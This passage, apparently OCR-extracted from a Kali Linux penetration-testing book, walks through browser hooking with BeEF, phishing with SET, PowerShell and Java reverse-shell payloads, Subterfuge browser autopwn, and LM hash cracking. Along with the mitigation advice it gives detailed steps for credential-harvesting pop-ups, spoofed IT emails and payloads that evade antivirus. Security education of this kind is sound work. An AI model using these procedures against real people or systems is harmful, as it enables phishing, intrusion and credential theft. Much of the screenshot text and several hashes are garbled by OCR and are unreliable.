Chats 00 Channels 0/0/0 ARPJICMPwE 37/4
Mumber 1] Pdf 0 Connections 00

Now if we click on sites under the Web menu we will see a list of the websites that the target visited:



Date url
2013-11-05 10:22:2 support.dlink.com/emulators/dir615_revA/110/index.htm

2013-11-05 10:22:2]1 support.dlink.com/ErrorPage.htm

2013-11-05 10:22:2{ support.dlink.com/emulators/diré15_revA/

2013-11-05 10:22:2( support.dlink.com/favicon.ico

Z2013-11-05 10:22:2{ support.dlink.com/Productinfo.aspx?m=favicon.ico

2013-11-05 10:21:3* www.google.comjurl?sa=t&rct=jhkg=&esrc=s&source=web&cd=5
Z013-11-05 10:21:0° www.google.comy

2013-11-05 10:20:4] www.dell.com/us/business/p/powervault-tape-automation
2013-11-05 10:20:2¢* www.dell.com/us/business/p/tape-backup-products

As you can see the target was surfing Dell’s website looking for information on Powervault Tape
Backup units. Next they went to Google and then the Dlink support website looking for support
information on a Dir-615 router.

Even If no network, account information or passwords were recovered with Xplico, you can use the
Web tab to gather information that could be used in a social engineering type attack.

For example, I noticed several of the surfed sites were NHL sites. I can search the data stream for
specific terms, in this case, NHL:

Web URLs: ® Html Llmage L'Flash
Search: nhl

Date url
2013-11-05 10:18:37 www.youtube-nocookie.com/gen_2047attributionpartner=HNHL
2013-11-05% 10:18:1] pubads.g.doubleclick.net/pagead/adview?al=ClwnvNQx5UgvDEATQO
2013-11-05 10:17:4¢ www.nhl.com/geo/cm/68/MediumRail/6
2013-11-05 10:17:4¢ www.nhl.com/geo/cm/68/Page Wrapper/7
2013:11-05 10:17:4¢ bs.serving-sys.com/BurstingPipe?cn=ot&onetagid=250&dispType=js
2013-11-05 10:17: 4 www.nhl.com/ice/playerhtm?id=84T70257
2013-11-05 10:17:4: www.nhl.com/ges/cm/6B/PageWrapper/7
2013-11-05 10:17:4; www.nhl.com/ge o/cm/68/Me diumRail/6
2013-11-05 10:17:4; bs.serving-sys.com/BurstingPipefcn=ot&onetagid=250&dispType=js
2013-11-05 10:17:4] www.nhl.com/ice/statshome. htm?navid=nav-sts-league

2013-11-05% 10:17: 3t www.nhl.com/geo/cm/68/PageWrapper/7

Or view the images:

Q Case Search:

€ Graphs

. Web
il.wtimg.com il.ytimg.com
Image or Page Image or Page

2 Mail

© Voip o

& Share

© Chat

2 Shell il.yiimg. com il.ytimg.com

Image or Page Image or Page



Obviously the user 1s a Hockey fan. I could possibly recover his favorite team from his surfing habits
and again use this in a Social Engineering attack.

Conclusion

In the first part of this section we learned how to use the Man-in-the-Middle attack program
Arpspoof, along with Urlsnark and Driftnet to view what websites a targeted local system was
viewing.

In the second part, we learned how to turn an exploited system into a remote packet sniffer using
Meterpreter. We then analyzed the captured traffic in Xplico.

Hopefully this chapter demonstrated why it is important to secure your network. If your ARP table is
not protected, it makes it easy for an attacker on the local lan to perform a MitM attack and view all
the traffic of a target system.

And if your network isn’t secured from remote threats it makes it easy for a remote attack to run a
packet sniffer on your network from an exploited system.



Chapter 12 — Using the Browser Exploitation
Framework

Resources
® Browser Exploitation Framework (BeEF) Website - http://beefproject.com/

Introduction

The internet can be a very unfriendly place, especially for older operating systems like Windows XP.
In this post we will take a look at exploiting Windows XP browsers using “BeEF”, the Browser
Exploitation Framework.

It has been a long time since I have played with BeEF, about three years in fact, but after going
through a great Web Application and XSS security class, I figured it was time to brush it off again.

I was very pleased to find that a ton of new features (called commands) have been added to BeEF
since I last used it, dramatically increasing its functionality.

Granted many attacks in BeEF no longer seem to work against Windows 7 using the latest browsers,
but it appears that Windows XP systems are still very vulnerable to many of the browser attacks,
even when using the latest browsers.

So let’s see what BeEF can do against a Windows XP system.

BeEF in Action

First we need to start the Exploitation Framework.

1. InKali, just open a terminal and type:

This starts the BeEF server and shows you the web address to open the graphical user interface and a
couple sample pages that you can use to hook browsers:


http://beefproject.com/

[ imapeudoral ]

ltatior
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r http!

2. Now just surfto “127.0.0.1:3000/ui/panel ”’ in a browser to view the user interface

3. Next, Login with the username and password of ‘beef’:

Authentication

Llsername: heef

Passwaord: ....|

Login

You will now be greeted with the main BeEF control panel:



B LI P—— ] Lo
L —
L
J IAT 1Ea S a2
W e e
B e s 1
L L TR
L L 3TN
B e a1

it asstreee (EL i L] LD
Cinlling Wladleid
Ak e 1 D=

Binlors Sy able i Sl asglors 150 Farmert (o sl Fane 10 Teal 6 browns e begn Wi p
S S L WA W O e B (R el TR, ©F 1 ke S RO [

AYE & arrAan e hasked v s D eeraart Py ol gEeE N tte el resey pans o P
it Flotilal Wy el aeE F e W GEle o 81 Pl ey o ke Selerily Py
Fewvm gkt te b eweaeek

Pkl S sy

TE MBS AT i TR [ Sy WO U 8 S U il A P Fi W ey T
iaz & e of mub-tma Ssrrkec i

Sy Dy Flgsm e et s ke be e 0ar SO phe st 100 TR CPEE ok
Largen Doy twmrs by arswen rolabed %0 P mimube Seoked brea o
Cotmmarsia: "hs 6 & wfere moduiss o e ssscsisd ageines e haded iowae Tha i
wrvarn wud aFfu Bel? Araoesialg resemn bR DoEwerd Fosies Dot Bl becmae g pee
il B ssaruied agaey e ered Soosnd Biosesr Coewsen ek @ e w sl vy
DG T CEN B actesesd frough Sasacr [ soanpe T By gabe 5 rmahon sbous the
temie] 3w e rer g te DON ool e e LA e el e
b e b e ek 3 Pe Pk v

B S— ch comvmarkd mads b ot Bohi o, which i uass B roices e Solw e v

Under the “Getting Started” section you will see links for two test pages that you can use to play with
hooking browsers. I like the “Advanced version” as it looks like a real webpage.

4. On our XP system running the latest Firefox browser, if we surf to the “Malicious” demo page
that BeEF creates, we will see this screen:

B = ew fgoy  feolvebs Bk ep
[ TR [

L 3 FE 160, B, 3

Welcome to The Bulches. your source of delicious
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Or this if we are using Chrome:



Wabcoma to The Bulcher. your seurce of delcious
meats. Please feel free to view our samples. sign up
to ol maling-lisl o purcheses our specisl BeEF-
hamper!
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The page shows some delicious looking beef, and nothing really seems awry. But what the user can’t
tell is that this particular webpage contained a browser hook

A browser hook is a malicious program that allows an attacker to hook the browser and, well, pretty
much take over complete control of it. Well, maybe no complete control, but it does give us the power
to really muck with it.

As soon as the visitor simply visits the page, the hook is set. Notice that the user does not have to run
anything or mouse over anything for the attack to work. Just visiting the page triggers the attack.

When machines are hooked, they show up in the BeEF control panel:

Hooked Browsers
4 -— Online Browsers

4 £ 192.168 56.102
7 M M 192 168 56.101

Now that we have the system listed in the control panel, we simply click on the system we want to
attack and then pick from the numerous attacks listed in the commands section:
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Using these commands we can grab information from the victim’s browser, or even change what they
see.

For example, if we want to try to social engineer them and grab their Facebook credentials, we can
go to the Social Engineering tab and click “Pretty Theft’. And then “Execute’.

On the victim’s browser a pop up will appear:

Facebook Session Timed Out

Your session has timed out dus to inackivity,

Please re-enter your username and password to login,

Email:

Password:

Oh no! The user’s Facebook timed out!

If the user fills in their creds and hits “Log in”, this appears in the BeEF control panel:

1 Sat Jun 29 2013 16:48:32 GMT-0400 (EDT)
data:
answer=testuser@test.com lLuvSecurePasswords!

The username:testuser@test.com and password: ILuvSecurePasswords!

We could also try to grab credit card numbers with this Amazon looking attack:



Your crédil card detals expired, please anter your niew credit card credential to continue shoppeng
Changes made to your payment methods will not affect orders you have already placed. |
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Edit your paymarnt maerthod - |

Cardholder MName: |
Ewp. Data: 11 =| X1 =«

Sumber:

Corlf b

BeEF can do much more than just send pop-ups. You can grab the HTML of the webpage that the
victim is on:

1 Tue Jul 02 2013 21:24:08 GMT-0400 (EDT)
data: head= =meta http-equiv="Cortent-Type"
content="text/html; charset=utf-8"> =title=BeEF
Project=fitle= <link rel="stylesheet" type="text/css"
href="butch ces"> &body=<=iframe style="border:
medium none; background-color: white; wiclth: 100 %;
height: 100%; position: absolute; top: Opx; left: Opx"
sre="http:'www beefproject.com"==(iframe:> =script
sre="jguery-1.5 min js"=</script= =script= function
showfriends() { $("#hamper") hide();

F("#riends") show(); } function showHamper() {

(" #Hriends") hide(); $("#hamper") show(); } </script=
=script= var commandiodulestr = '=script src="'+
window location.protocal + '+ window location host +
Thook j=" type="text/javascript"==Vscript=";

document write{commandidoduleStr); </script==script
sre="hittp://192.168 56.103:3000 Mook js"
type="text/javascript"==/script= =div id="cortent"> =I--
Awesome Beef Images from: hittp /Mwwwe flickr.com
Iphotos/bulle_del4657658048! and hittp :'www flickr.com
Iphotosidinesarasota/3944042 1897 --= =div id="logao"=
=img src="top jpg" at="The Butcher"= =/div> =div
id="gtuff"= =div class="higger"= Welcome to The
Butcher, your source of delicious meats. Please feel
free to view our samples, sign up to our mailing-list or
purchase our special BeEF-hamper! =/div= =div
class="normal"> =button type="button"
onclick="showfriends();"=0ur Meaty Friends=/button=
&nbsp; =button type="button" [

mrelicl —"elevaHzramar - Tieclar Wenor

Fe-execute command

And then change any links on the page in real-time, without the user ever knowing, to point to
wherever you want the victim to go.

Say we saw that the victim was on a New York Giants football page, which even being from New

York we don’t like, and want them to be sent to the Dallas Cowboy’s homepage when they click on
any of the links.

Here is a look at the webpage source after changing all the links on the page to point to the Dallas
Cowboys website:

data: head= <meta http-eguiv="Content-Type" content="text/html;

<a href="http://dallascowboys.com/"=Bindshaell</a»

<5 hraf="http://dallascowboys.com/"=Slashdot</a>

<a href="http://dallascowboys.com/">ha.ckers.org homepage</a>

Of course an attacker wouldn’t normally send them to a sports site, but most likely a malicious
website that was, say, a complete spoof of Amazon or Facebook.

You can also send custom Javascript, or even tie it in with Metasploit to attempt to get a remote shell.



As you can see, an attacker having control over the browser can be very bad.

Conclusion
BeEF can be a very interesting to play with and fairly easy to use once you get the hang of it.

The attacks are color coded as to the chance that they might work. You may want to try them anyways,
as | have noticed that some coded as not working well seemed to work okay on occasions.

I also noticed that newer browsers seemed to stop some of the attacks, but XP was still pretty open as
to what would work against it.

I tried these exact same attacks against a Windows 7 system using the latest Firefox browser and
nothing was displayed:

Firefox | @ http://192.168.56.10.../butcher/index.html | +
L = 192.168.56.103:3000/ demos/butcher/index.htm

A hook was created, but only lasted for about a second or two before it was dropped.

The best mitigation against this type of attack seems to be to use the latest Windows OS and browser
versions. If you can, update or replace your Windows XP systems, especially if they are used online.

The base security in Windows 7 and 8 is much better than Windows XP.

Finally always run a script blocker like the Firefox Add-In, “NoScript”, and don’t click on or open
links and attachments in unsolicited email and social media messages.



PART FOUR - Social Engineering




Chapter 13 — Social Engineering

Resources
® http://www.social-engineer.org/

Introduction
Social Engineering is the art of manipulating people to falsely gain their trust in order to get
information, access or data from them. Social Engineering 1s, in effect, hacking humans.

Hackers who are experts in Social Engineering will trick you into helping them or giving them access
to your secured systems or areas by pretending to be someone else, someone in need, or even
someone in a position of authority.

Let’s look at some examples:

® You are coming into work at your secure data center. As you approach the door, a
deliveryman with his arms full of boxes is also arriving at the door. What do you do?
Without thinking twice, most would open the door for the poor overburdened man and let him
in. What if he wasn’t a real deliveryman and just wanted access to your secure data center?
You just let him in.

® You are in your cubicle and are approached by a person wearing a shirt and tie, carrying a
clip board and toolbox. He says that he is performing system upgrades and needs access to
your system. It’s close to lunch time so it sounds like you are going to get an extended lunch.
You ask if you should shut it down, and he responds that he just needs to check a few things
first. You get up and head for the cafeteria. And just gave him access to your system.

® You are the CEO of a major company. One day you get a package in the mail from a
company that you just signed a major deal with. It was the largest deal of your career and was
in all the local city newspapers and on all the TV stations. You open it up to find one of the
latest tablets along with a thank you note from the company thanking you for the business
agreement. It has all the bells and whistles and you can’t wait to connect it to your executive
Wi-Fi network to try it out, which you do. The company never sent you a tablet and you just
gave an enterprising social engineer a system connected to your Executive network.

® You get an e-mail from the IT manager at your company. They are installing some new
software and need you to install some new drivers. They include the software package as an
attachment and give you full directions to install it. Which you do. The e-mail wasn’t actually
from your IT Manager and you just gave a remote hacker complete control of your
workstation.

They may take advantage of local customs, etiquettes, play off of human sympathy or just try to
intimidate an employee to get what they want. They may do none of these direct contact things and



simply go through your corporate garbage receptacles, scour for clues of your internal systems by
reading job postings or even online tech forums that you use.

Or they could hit social media sites pretending to be from a company that you do business with or
pretending to be a head hunter employment agency looking for new talent.

These are just a few examples of how a social engineer might try to gain access to or procure
information about a target network. There really is no limit to the ways that a talented social engineer
might try to twist, deceive or threaten their way onto your network.

Social Engineering Defense

With that being said, it is imperative to train your employees to be on the lookout for these types of
attacks. Have policies in place to deal with service calls, software updates, and gifts from outside
companies.

You can teach, instruct and even leave reminder messages and posters, but employees may still not
follow corporate policy. That is why when it comes to social engineering attacks, it is a good idea to
manually test to see if your company is truly prepared.

In this section we will look at a couple programs in Kali that corporate security teams can use to test
their company’s preparedness against these types of attacks.



Chapter 14 — The Social Engineering Toolkit

INTRODUCTION

Social engineering attacks are one of the top techniques used against networks today. Why spend
days, weeks or even months trying to penetrate layers of network security when you can just trick a
user into running a file that allows you full access to their machine and bypasses anti-virus, firewalls
and many intrusion detection systems?

This is most commonly used in phishing attacks today, craft an e-mail, or create a fake website that
tricks users into running a malicious file that creates a backdoor into their system. But as a security
expert, how could you test this against your network? Would such an attack work, and how could you
defend against it?

Kali includes one of the most popular social engineering attack toolkits available, David Kennedy’s
Social Engineering Toolkit (SET). David’s team is very active on SET, there are always new
features and attacks being added. More recently several non-social engineering tools have been also
added to SET making it a very robust attack tool.

In this chapter we will take a look at some of the tools included with SET and two of the attack
options, both PowerShell based attacks.

Staring SET

To start SET from the Kali main menu:

Kali Linux > Exploitation Tools > Social Engineering Toolkit

Or type “se-toolkit” or “setoolkit” (depending on your Kali version) in a terminal prompt.

Mass Emailer
One way a Social Engineer will attack a network is to send out a flood of e-mails to company
addresses and see who will respond or run the malicious attachment you sent with it.

SET comes with a Mass Emailer tool.
1. From the main menu select, “Social-Engineering Attacks”.

2. Next select option 5, “Mass Mailer Attack’:



ial Engineer Toolkit Mass E-Maile)

you w1r|1' u_h1'||_..r| 1‘||11‘ -|l 1‘

What do you want to do:

1. E-Mail Attack le Email Addre
2. E-Mail Attack

89. Return to main menu.

You then have a choice to send a single e-mail or multiple. For this example, let’s just send one.
3. Pickoption 1, “E-Mail Attack Single Email Address”.

4. Enter a target e-mail address:

Send email to:MrCEO@SomeRandomDomain.com

5. Next choose to use a Gmail account or another server. For the test we will use a fake gmail
account. So I picked option 1:
1. Use a gmail Account for your email attack.

P

2. Use your own server or open relay

=]
> Your gmail email address:[}

I’11 use the fake name “EvilHacker@EvilDomain.com”.
6. Now choose a spoofed name to use for the “from” line of the message:

Let’s use “ITDepartment(@SomeRandomDomain.com”, so it looks like it is from the corporate IT
department.

7. Next SET asks for the password of your Gmail account.
8. Enter “yes” at the prompt, “Flag this message/s as high priority?”

9. Next, enter an e-mail subject line. How about, “Important Update’:

= Email subject:Important Update

10. Enter “P” when prompted to “Send the message as html or plain?”

Now type-in a fake message, preferably one that will entice our victim to click on a malicious link
included or entice them surf to a malicious webpage. In actual defense practice this could just be a
test webpage that records the IP address of those who were tricked to surf to the page. That way as a
security team we know who in our organization needs to be better educated on the risks of malicious
e-mails.

When finished, type “END”.



11. SET will then send out the e-mail.

The message above is obviously a silly fake, but something like this (with a much more believable
message) could be used to test your employee’s ability to detect, resist and report phishing attempts.

SET ’ s Java PYInjector Attack

So far we have just sent a fake e-mail that could redirect someone to a bogus site. But what if we
could make a fake site that offered up a booby trapped script. And if the user allows the script to run,
creates a remote shell with the user?

The Java PYlInjector attack leverages the anti-virus bypassing capabilities of PowerShell based
attacks with a Java application. We will use SET to create a fictitious website that will offer up a
booby-trapped Java app. And if user allows the app to run, we get a full remote session to the system.

We will be using a Windows 7 system as the “target” in this example.
From the main SET menu:

1. Select number 1, “ Social-Engineering Attacks .

2. Nextselect 2, «“ Website Attack Vectors ™.

Notice the other options available.

3. Then 1, “ Java Applet Attack Method .

This will create a Java app that has a backdoor shell.
There are several alternative attack options available here.

The Metasploit Browser Exploit attacks the client system with Metasploit browser exploits. The
Credential Harvester attack is pretty slick as it clones an existing website (like Facebook) and then
stores any credentials that are entered into it. TabNabbing works great if the client has a lot of
browser windows open, it waits a certain time then switches one of the tabs to a page that SET
creates. The Web-Jacking attack uses iFrame replacements to make a malicious link look legit. And
finally, the Multi-Attack combines several of the above attacks.

4. Next choose 1, “Web Templates” to have SET create a generic webpage to use. Or use
Option 2, “Site Cloner” to allow SET to use an existing webpage as a template for the attack
webpage.

5. NAT/Port Forwarding — Select yes or no depending on if your SET system will use a



different web facing IP address. Usually selecting “no” will be sufficient if using an internal

testing lab.

6. Enter the IP address of your SET machine. You can open another terminal window and type

“ifconfig” if you are uncertain of your IP address.

7. Select a template - Now choose 1, “Java Required”. Notice the other social media options

available.

8. Pick a payload you want delivered, I usually choose 14, “ShellCodeExec Alphanum
Shellcode” (This is an interesting as it runs from memory, never touching the hard drive, thus
effectively by-passing some anti-virus programs) or 15, “Pylnjector Shellcode”. For now,
let’s go ahead and use Option 15, “PyInjector Shellcode Injection”, and use the default port
443.

9. Next choose a payload to inject, let’s pick the first Option, “Windows Meterpreter Reverse
CcP .

Now SET is all ready to go and does several things. It creates and encrypts the PowerShell injection
code, creates the website, loads Metasploit and starts up a listening service looking for people to
connect.

When done, your screen will look like this:

oW A1stening.s

That’s 1t - we are all set on the attacker side.

Now if we go to a “Victim” machine and surf to the IP address of our Kali “attacker” machine we
will see this:
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Oh look, the website wants to run a Java applet. Notice on the pop-up screen that the name says,
“Applet has been verified. (SECURE)”.

How re-assuring, it must be okay to run.

If the “Victim” does allow this Java script to run, not just one, but multiple remote sessions will be
created to our attacking machine. As you can see in the figure below:

4 opened (192,

n 5 opened (192.

We will then be given an “msf” command prompt.

From here if we type the command “sessions” we can see any open remote sessions that have been
created:

Information Connection

Client-PCh\Client @ C -PC  192.168.1.226:443
193

E-PCA\Client @ Cl -PC 92.

F-PChClient @ CLIENT-PC

: E-PCAClient @ CLIENT-PC

L-PCAWCLient! @ CLEENT-PC

Use ““sessions -i”’ and the session number to connect to any of the sessions.



arsion |6y 1. 7683]
Mic rosoft Corparations Allrights reservad.,

Once connected, you can use any of the built in Meterpreter commands, or use Linux commands to
browse the remote PC, or simply running “shell” will give you a remote windows command shell:

By I FBBAE]
t' 'Corporations ALY rights resarved

That’s it, one bad choice on the victim’s side and as you can see, we have a complete remote
session.

Social Engineering Toolkit: PowerShell Attack Vector

The Java based PowerShell attack is great, but what if the target is not running Java, or we could not
trick them into visiting our SET page? Another Social Engineering attempt is to trick a user into
running a file that we send them.

So, let’s take a look at creating a PowerShell shellcode file and sending it to a target. If we can trick
the target into running the shellcode, or run it ourselves, we get a remote connection to the box.

In this section we will use SET’s PowerShell Attack Vector to create a PowerShell script that when
run by a target system will connect back and create a remote shell to our Kali system. We will also
set up SET to look for these incoming connections.

1. Fire up SET and pick option number 1, “Social-Engineering Attacks” .

2. Select option 10, “ Powershell Attack Vector ™.

The Powershell Attack Vector module a
I acks allo

15 that do not get

99) Return to Main Menu

3. Next choose number 1, *“ Powershell Alphanumeric Shellcode Injector .

4. Now just enter the IP address of the Kali system and what port you want to use for the



windows machine to connect in on. Usually the default port, 443 is good enough.

5. Finally SET asks if you want to create the listener service, so when the victim runs the code,
SET will be all set to accept the remote connection. Type “yes” at the prompt.

! .set/reports,

SET now creates the exploit code and if you chose to start the listener, kicks off the listener service in
Metasploit and waits for an incoming connection:

/powarshall . re)> set Llpart 443
shell/powarshall .re)> set LHOST 0.0

wershall .vc)= explboit -

Now we just need to get the exploit code to the victim system. SET creates the exploit code and
places it into the “/root/.set/reports/powershell/” directory.

Leave the SET window open and open an additional terminal shell.

Navigate to the powershell directory and you will see the powershell injection code in a text file,
called “x86 powershell injection.txt” in our example.

You can “cat’” the file to display its contents:

xction.txt
shell# cat 3

If a Windows system runs the code, a remote session will open up to our Kali machine.



For this example, I will just copy the code and paste it into a Windows 7 command prompt:

B Ch\Windows\system32\cmd.exe = =1 @
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oration.

As in the previous tutorial, once a session is open we can use any Meterpreter or Linux command, or
just type “ shell ” to get a remote command prompt.

ALTERNATIVE OPTIONS:

Though most users will not copy and paste a text
file to a command prompt and then execute it,
this works great for penetration testers who
might be able to gain access to a remote
command prompt and want to use a full
Meterpreter shell.

Also, there are several tutorials on the web
explaining how to take the resultant SET
Powershell text file and convert it into an
executable .exe file.

Basically you turn the text file into a batch file,
and then use a .bat to .exe converter to change
the file into an executable.

I leave this exercise up to the reader.




Or you could simply use the program “Veil”
(refer to the chapter on Bypassing AV with Veil)
that does basically the same thing.

Conclusion

PowerShell is available on almost every Windows box these days, and many anti-virus programs do
not detect these types of attacks making them very powerful. As you can see below, I uploaded our
PowerShell injection code to VirusTotal and it didn’t detect anything malicious:

b total

SHA256 a510e4c1302b2ef9882485ac2bbT 184 Jedcbabdalbd 1ca8d86248bde8 7T 50
File name: %86 _powershell_injection._txt
Detection ratio

Analysis date 2013-09-06 171925 UTC ( 0 munutes ago )

Most likely, you would need to be tricked into running the code for the attack to be successful. So as
always, be very careful opening files and links from e-mails and social media messages.

Run an internet browser script blocking program like the Firefox add-in, “NoScript” to prevent code
from automatically running from visited websites.

Also be very wary of shortened links, especially used on Twitter. Recently I saw a shortened link on
Twitter that when unshrunk was a four line command to a malware server!

More Advanced Attacks with SET

Spend some time with SET and check out the numerous options it offers for attacking a target system.

You can use SET to create malicious CD/DVD and USB media (for creating malicious media and
leaving them in corporate parking lots, etc), a slew of Arduino based attacks, Microsoft SQL Brute
Forcer, Wireless Access Point attack, a Mass E-Mailer, QR code attack and a bunch of website
social engineering attacks that we did not cover.

The SCCM attack vector under the Fast Track menu is especially of concern to any corporation that
uses PXE booting and corporate images. For a complete overview of the SCCM attack, see:

http://www.trustedsec.com/files/Owning One Rule All v2.pdf

You can also set a lot of options in the SET config file to modify how SET functions. The file can be
found at “/etc/share/set/config/set config” .



The Social Engineering Toolkit is truly a robust and feature rich tool for any corporate security
testing team.



Chapter 15 - Subterfuge

Automatic Browser Attack with Subterfuge

In this section we will continue to talk about Social Engineering type attacks. We will use a program
called Subterfuge to create a fake webserver that will automatically attack any browser that tries to
connect to us.

This will simulate one way that hackers can gain access to a target machine by having them visit a
malicious website. As soon as a client visits this webserver, Subterfuge automatically runs a slew of
browser attacks through the Metasploit Framework’s Browser AutoPwn module at the client.

If one (or more) of the attacks succeed, we will usually get a full remote command shell to the client
system.

Let’s get started
First up we will need to install Subterfuge.

Subterfuge was one of the programs removed from the Backtrack platform. It was present in
Backtrack 5 but removed in the switch to Kali, most likely as there are other programs in Kali that do
similar things. From reading the online forums, it sounds like Subterfuge could possibly be added
back in at some time. But the install isn’t that hard.

Let’s go ahead and download & install Subterfuge:

1. Download Subterfuge( http://code.google.com/p/subterfuge/downloads/list)

Opening SubterfugePublicBeta5.0.tar.gz

You have chosen to open:

= SubterfugePublicBeta5.0.tar.gz

which is a: gzip (22.2 MB)
from: http://subterfuge.googlecode.com

What should Iceweasel do with this file?

) Open with | Browse.. |

@ Save File

L Do this automatically for files like this from now on.

Cancel | oK

2. Go ahead and save it in the root.


http://code.google.com/p/subterfuge/downloads/list

3. Now extract the file with the tar —xvf command.

Desktop

~# tar -xvf SubterfugePublicBetab.@.tar.gz I

5. The graphical install interface will show up. Click the Full Install with Dependencies and
then click, “Install’”:

%
o --'m;talla’éiun ﬁptiu'm.-il

B = Full Install With Depencencies  Simple Install 88

B Install => @J ;

The satup is
complete. Thank

PRPRP R SR Rl you for installing
* i S

Subterfuge.
‘. "
’ .

= Full Install With Depencencies Simple Install

. .

-

Install === é-
L 4




7. Now go ahead and run Subterfuge:

feature through the settings p

o sotti |'|.;:|-:_ 4

9. Now open Iceweasel and surf to 127.0.0.1:80. You are greeted with the main Subterfuge
interface:

(= = . Setlings -

LEemame

Notice there is a place to display usernames and passwords, a Modules and Settings menu and a
Start button.

There are several different attacks we can perform all found under the Modules menu. We can modify
how Subterfuge functions with the Settings menu, and Start initiates some of the attacks.

Browser Autopwn
Let’s try the Browser Autopwn attack. In it, Subterfuge starts a rogue server and will load in a ton of
different client side browser attacks and use them against any client that tries to connect.

1. Click onthe ¢ Modules’ menu.

2. Click onthe “HTTP Code Injection” icon.

3. We will be greeted with the Plugin Settings. Leave it at the defaults of “browser_autopwn”
and “IFrame Injection” and click “Apply”.



— Plugin Settings
Subterfuge’'s HTTF Code Injection Module allows a user o injec
payloads directly into a target's browsing session. Payloads can
be anything from simple javascriptHTMWL injections to browser
Exploits. You even write your own injects.

Runmng:

browser._au l'l:lFl'n.‘-'ﬂ b

Fayload: |IFrame Injection "'

vector;

4. Subterfuge automatically opens a shell window and starts loading Metasploit.

HTTP Code
Injection

5. The Metasploit Exploits are loaded and prepared :



After a while you will see a screen that says:

*] --- Done, found 64 exploit modules

[*]

[*] Using URL: http://0.0.0.0:8080/

[*] Local IP: http://192.168.198.131:8080/
[*] Server Started.

Found 64 exploits - What this means is that Subterfuge is armed with 64 different exploits to attempt
when someone connects to our Kali system.

6. If a victim surfs to our subterfuge webpage (from a Windows 7 system in this example), the
browser autopwn attack kicks off and automatically starts to fire numerous exploits at the
browser as seen below:

- Handling '/
Handling '

d0ding /f
=TW1 jem9zb2Z01F dpbmPud2

“t: Hicrosoft Windows:7:iun

7. To see if any of them worked, we can run the sessions command:



Information

WIN-LOANLOTDOLU  132.168.198,131:7777 -

@ WIN-LOANLOTDOLU 192,168.138,131:7777

msf auxiliaryl
As you can see the exploits were able to open three active remote sessions!

Let’s pick one and see if it truly worked. We will use session 1, just type “sessions -i”’ and the
session id number we want.

mef auxiliaryl R
Starting interaction with 1,..

fl]l rights reserved,

And it worked. As you can see above I also typed shell to open a remote command prompt.

Conclusion

In this section we used Subterfuge to perform an automated browser attack. Subterfuge created a fake
website, started Metasploit and ran the “Browser Autopwn” module creating a possible 64 exploits.
When the client connects, Metasploit tried numerous client attacks against our victim and in the end
was able to create three fully functional remote shell connections.

In real life you would most likely have to social engineer you target and convince them to visit the
Subterfuge site either via e-mail link or a phone conversation.

This is just one of the things that Subterfuge can do. You can also perform several other attacks
including Man-in-The-Middle type attacks. Take some time and play with the different options to see
what you can do.



PART FIVE - Password Attacks




Chapter 16 — Cracking Simple LM Hashes

Introduction

Microsoft’s support for Windows XP SP3 and Office 2003 will officially end in April 8, 2014. With
only one year of support left for Microsoft Windows XP, almost 40% of computer users still use it
according to some reports.

That 1s a huge number of Windows XP systems that are still being used in business critical positions.

Computers do not just store passwords in plain text, but store them in an encrypted form. There are
several different ways that computers encrypt their passwords. One of the most secure ways includes
Salting the password. Basically this means to use a number (or Salt) and incorporate that into the
hashing process to ensure that no two passwords are ever the same.

If a salt isn’t used (like on Microsoft LM systems), if you can crack one hash all the users that used
the same password will have the same hash. So all you need to do is take the hash and compare it to
known hashes and i1f you get a match, you have the password!

Many Windows XP systems use LM hashes to protect their passwords. This is a very old and
outdated way to store password hashes. This hashing process was created for systems before
Windows NT.

Basically on a system using LM hashes, any password that is 14 characters or less is converted into
all uppercase, and then broken into two 7 character passwords. Each half is then encrypted and
combined to form the final hash.

Again there 1s no salt used, so basically if you can get the LM hashes from a system, all you need to
do is a look up table comparison to other known hashes and you can get the actual password.

A typical Windows hash looks something like this:
ac93c8016d14e75a2e9b76bb9e8c2bb6:8516cd0838d1a4dfdlac3e8eb9811350
The LM hash is on the left of the colon and the NThash is on the right.

Cracking LM passwords Online

There are several websites that will allow you to input a Windows LM hash and it will return the
password used (if it is in its lookup table).

A Swiss security company called Objectif Sécurité (creator of Ophcrack) has developed a cracking
technology that uses rainbow tables on SSD drives. They offer an online demo of their technology that
cracks many LM passwords in mere seconds.

(http://www.objectif-securite.ch/en/ophcrack.php)

We will try a couple hashes and see what it can do. Let’s start out with an easy one. Here is the



Administrator password hash from an XP machine:
Hash: aad3b435b51404eeaad3b435b51404ee:31d6ctfe0d16ae931b73¢59d7e0c089¢c0

And putting this into Objectif’s tool we get this response:

Enter your LMHash here to crack it Ih G0

Hash: aad3bd435b51404eeaad3ibd35051404ee:31d6cfeld16a8931073c59d7e0c088c0
Password: Empty password...

Time: About 2 seconds
Looks like the Administrator didn’t set a password, that’s not good...
Okay, that wasn’t fourteen characters, let’s try a hard one.

How about this one:

Hash: 17817c91b0d272afd44dfalcb95cae33:6bcec2ba25971t089189735afeaa300d4

And the response:

Enter your LMHash here to crack it Ih GO

Hash: 17817 cofbfod27 2afd4dfa1cb95cae33.6bcec2ba2s97f089 1897 35afeaa300d4
Password: T2@Feed SEmural

Time: 4 Seconds

Wow! That took only 4 seconds and that is a decent password.

Let’s try another one with more special characters:

Hash: d4b3b6605abeclal 6a794128df6bc4da:14981697etb5db5267236¢5fdbd74af6

Enter your LMHash here 1o crack it ¥ G0

Hash d4b3b6605abecialtaTi4128d6bcdda 14981697efb5db5 267 236c5fdbdT4af6
Password: *mZ ?9%" 5743

Time: 6 Seconds (Try typing that in every day!)

And Finally:
Hash: 747747dc6e245f78d18aebeb7cabeld6:43c6¢c2170b7adef851a6221F15¢6055

Enter your LMHash here 1o crack it

Hash T47747dcGe245(78d18aebebTcabe1d6:43c6ec2 17007 a41851a622M15c6055
Password: T&p/E$v-06,1@}

Time: 7 Seconds.

Very impressive, it took only four to seven seconds in this test to crack several 14 character complex



passwords.

Granted, these are Windows LM Hashes and not the more secure Windows 7/ Server 2008 NTLM
based hashes.

But, I believe that with cracking speeds increasing, relying on passwords alone may no longer be a
good security measure. Many companies and government facilities are moving away from using just
passwords alone to using dual authentication methods.

Biometrics and smartcards are really becoming popular in secure facilities.

Not sure what Kind of Hash you have?

There are several different types of hashes. Sometimes you might be able to retrieve a password hash,
but might not be able to determine what type it is. Hash ID will identify the type of hash that you
provide it.

Simply run Hash ID and input the Hash.

The program will check it and return the most likely type of hash that you have along with least likely
types.

From the Kali Menu:
Kali Linux/Password Attacks/Offline Attacks/Hash-Identifier

Just paste in the hash and Hash ID will try to determine what type it is:

e e e e e

EEE T S D I T

"
#
#
#
i
#
#
#
EH

